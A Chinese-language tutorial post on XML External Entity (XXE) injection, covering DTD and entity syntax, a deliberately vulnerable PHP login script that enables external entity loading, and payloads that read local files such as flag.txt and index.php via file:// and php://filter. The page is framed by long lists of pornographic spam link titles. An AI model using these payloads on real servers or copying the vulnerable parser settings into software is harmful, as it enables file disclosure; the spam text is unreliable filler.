日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

XXE(1)

發(fā)布時(shí)間:2023/12/31 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XXE(1) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

XXE簡(jiǎn)介

XXE:全稱XML External Entity Injection,即XML外部實(shí)體注入漏洞

知識(shí)點(diǎn)

1、XML
2、DTD,這個(gè)是最重要的
簡(jiǎn)介:
(1)內(nèi)部的 DOCTYPE 聲明

假如 DTD 被包含在您的 XML 源文件中,它應(yīng)當(dāng)通過(guò)下面的語(yǔ)法包裝在一個(gè) DOCTYPE 聲明中: <!DOCTYPE 根元素 [元素聲明]> 例如: <!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)> ]> <note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body> </note> 以上 DTD 解釋如下: !DOCTYPE note (第二行)定義此文檔是 note 類型的文檔。 !ELEMENT note (第三行)定義 note 元素有四個(gè)元素:"to、from、heading,、body" !ELEMENT to (第四行)定義 to 元素為 "#PCDATA" 類型 !ELEMENT from (第五行)定義 from 元素為 "#PCDATA" 類型 !ELEMENT heading (第六行)定義 heading 元素為 "#PCDATA" 類型 !ELEMENT body (第七行)定義 body 元素為 "#PCDATA" 類型

(2)外部文檔聲明

假如 DTD 位于 XML 源文件的外部,那么它應(yīng)通過(guò)下面的語(yǔ)法被封裝在一個(gè) DOCTYPE 定義中: <!DOCTYPE 根元素 SYSTEM "文件名"><?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> 這是包含 DTD 的 "note.dtd" 文件: <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>下面的實(shí)體在 XML 中被預(yù)定義: 實(shí)體引用 字符 &lt; < &gt; > &amp; & &quot; " &apos; '在 DTD 中,XML 元素通過(guò)元素聲明來(lái)進(jìn)行聲明。元素聲明使用下面的語(yǔ)法: <!ELEMENT 元素名稱 類別> 或者 <!ELEMENT 元素名稱 (元素內(nèi)容)>

(3)XXE利用重點(diǎn):實(shí)體
(3)-1:簡(jiǎn)介
實(shí)體是用于定義引用普通文本或特殊字符的快捷方式的變量。
實(shí)體引用是對(duì)實(shí)體的引用。
實(shí)體可在內(nèi)部或外部進(jìn)行聲明。

(3)-2:一個(gè)內(nèi)部實(shí)體聲明

語(yǔ)法: <!ENTITY 實(shí)體名稱 "實(shí)體的值">例子: DTD 例子: <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn">XML 例子: <author>&writer;&copyright;</author>注釋: 一個(gè)實(shí)體由三部分構(gòu)成: 一個(gè)和號(hào) (&), 一個(gè)實(shí)體名稱, 以及一個(gè)分號(hào) (;)。

(3)-3:一個(gè)外部實(shí)體聲明

語(yǔ)法: <!ENTITY 實(shí)體名稱 SYSTEM "URI/URL">例子: DTD 例子: <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">XML 例子: <author>&writer;&copyright;</author>

(3)-4:補(bǔ)充
帶有任何內(nèi)容的元素
通過(guò)類別關(guān)鍵詞 ANY 聲明的元素,可包含任何可解析數(shù)據(jù)的組合:

<!ELEMENT 元素名稱 ANY> 例子: <!ELEMENT note ANY>理解下面的代碼含義:這是POST提交的 上面是一個(gè)XXE攻擊的Payload <?xml version="1.0" encoding="utf-8"?>//xml格式必備 <!DOCTYPE root [ (注):內(nèi)部的DOCTYPE聲明,聲明一個(gè)root根元素 <!ELEMENT root ANY > (注):定義root根元素的子元素可以是任何組合 <!ENTITY xxx SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt" > (注):聲明一個(gè)xml代碼外的外部實(shí)體名叫xxx,SYSTEM后面的是它的值]> (注):閉合<root> (注):XML代碼的根元素,也就是上面DTD中的root根元素,這個(gè)必須一樣,因?yàn)樯厦娴腄TD就是檢查下面的XML代碼的<user>&xxx;</user> (注):XML代碼的子元素user,&xxx,表示在XML代碼內(nèi)部執(zhí)行外部DTD的實(shí)體函數(shù)xxx<pass>mypass</pass> (注):XML代碼的子元素pass </root> (注):閉合根元素

外部實(shí)體注入舉例

有回顯讀取本地文件
漏洞代碼:

<?php libxml_disable_entity_loader (false); show_source(__FILE__); $xmlfile = file_get_contents('php://input'); echo '<br>'; if(strlen($xmlfile)>0){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$user = $creds->user;$pass = $creds->pass;echo "You have logged in as user $user"; } ?>

payload:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ //foo名稱隨意<!ENTITY xxe SYSTEM "file:///F:/flag.txt" > //xxe名稱隨意]> <root> //xml根元素名稱隨意,但必須要有(在當(dāng)前漏洞源碼環(huán)境下) <user>&xxe;</user> //xxe名稱和上面的名稱對(duì)應(yīng),在這里xml中的子元素user和漏洞源碼中的對(duì)應(yīng),不可修改為其它 </root>

有些文件中有<、>等實(shí)體,若直接用file讀取會(huì)導(dǎo)致解析錯(cuò)誤,此時(shí)可以利用php://filter將內(nèi)容轉(zhuǎn)換為base64后再讀取

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> <root><user>&file;</user> </root>

特別注意:

實(shí)體名稱命名不能以數(shù)字開(kāi)頭,例如上面的xxx 使用bp時(shí),需要添加Content-Type: application/xml payload中xml的根元素 xml形式的數(shù)據(jù)傳輸e.g:<user>admin</user>

淺顯地了解了xxe,后續(xù)再深入研究。

總結(jié)

以上是生活随笔為你收集整理的XXE(1)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 91肉色超薄丝袜脚交一区二区 | 色噜噜狠狠狠综合曰曰曰88av | 国模私拍xvideos私拍 | 欧美精品999 | 欧美伦理影院 | 欧美在线视频二区 | 国产午夜视频在线 | 亚洲拍拍视频 | 久久久精品免费观看 | 国产女人水真多18毛片18精品 | 三级视频网站在线观看 | 德国老妇性猛交 | 欧美亚州国产 | 国产区一区二区三 | 99在线免费观看 | a级一级片 | 91av福利| 伊人中文字幕 | 国产原创视频在线 | 巨胸挤奶视频www网站 | 欧美精品播放 | 丰满人妻一区二区三区四区53 | 美女试爆场恐怖电影在线观看 | 欧美aaaa视频| 制服丝袜在线视频 | 97超碰人人模人人人爽人人爱 | 男人天堂影院 | 激情视频在线观看免费 | 91在线观看成人 | 综合国产视频 | 免费看黄色三级三级 | 亚洲成人免费在线视频 | 波多野结衣之潜藏淫欲 | 久久精品国产亚洲AV成人婷婷 | 久久久国产成人一区二区三区 | 国产伦精品一区二区三区照片 | 夜夜操夜夜爽 | 欧美视频精品在线 | 6090伦理| av电影中文字幕 | 色婷婷狠狠 | 在线免费观看视频你懂的 | 欧美视频在线免费看 | 日韩爱爱免费视频 | 亚洲免费综合 | 免费中文字幕在线观看 | 亚洲最新网址 | 欧美草逼网 | 午夜激情一区二区 | 永久av免费| 日本小视频网站 | 欧美美女喷水 | 99久久精品免费看国产 | 中文字幕无产乱码 | 国产精品传媒一区二区 | 亚洲影院一区 | av影视在线 | 亚洲人体视频 | 精品一区在线看 | 欧美福利视频一区 | 天堂新版8中文在线8 | 久久婷婷综合色丁香五月 | 欧美性猛交xxxx免费看 | 国产精品久久久久久久久久久久久久久 | 亚洲国产成人精品久久 | 一本久久综合亚洲鲁鲁五月天 | 91超碰人人 | 99riav视频 | 欧美激情综合网 | 国产一区二区三区在线观看视频 | 久久久视 | 成人av18| 国产免费高清av | 毛片基地站| 91av影视| 免费看的黄色小视频 | 欧美乱视频 | 自由 日本语 热 亚洲人 | 精品国产一区二区三区性色av | 性欧美在线视频 | 婷婷国产视频 | 久久免费公开视频 | 日韩亚洲欧美精品 | 丁香五色月 | 99久久久无码国产精品性黑人 | 午夜做爰xxxⅹ性高湖视频美国 | 久久久久久av无码免费网站下载 | 依依激情网 | 男人操女人下面 | 亚洲www色 | 午夜精品在线播放 | 冲田杏梨在线 | 国产视频69 | 手机在线成人av | 波多野结衣av一区二区全免费观看 | 亚洲の无码国产の无码步美 | 欧美视频网站 | 深爱五月网 | 免费精品一区 |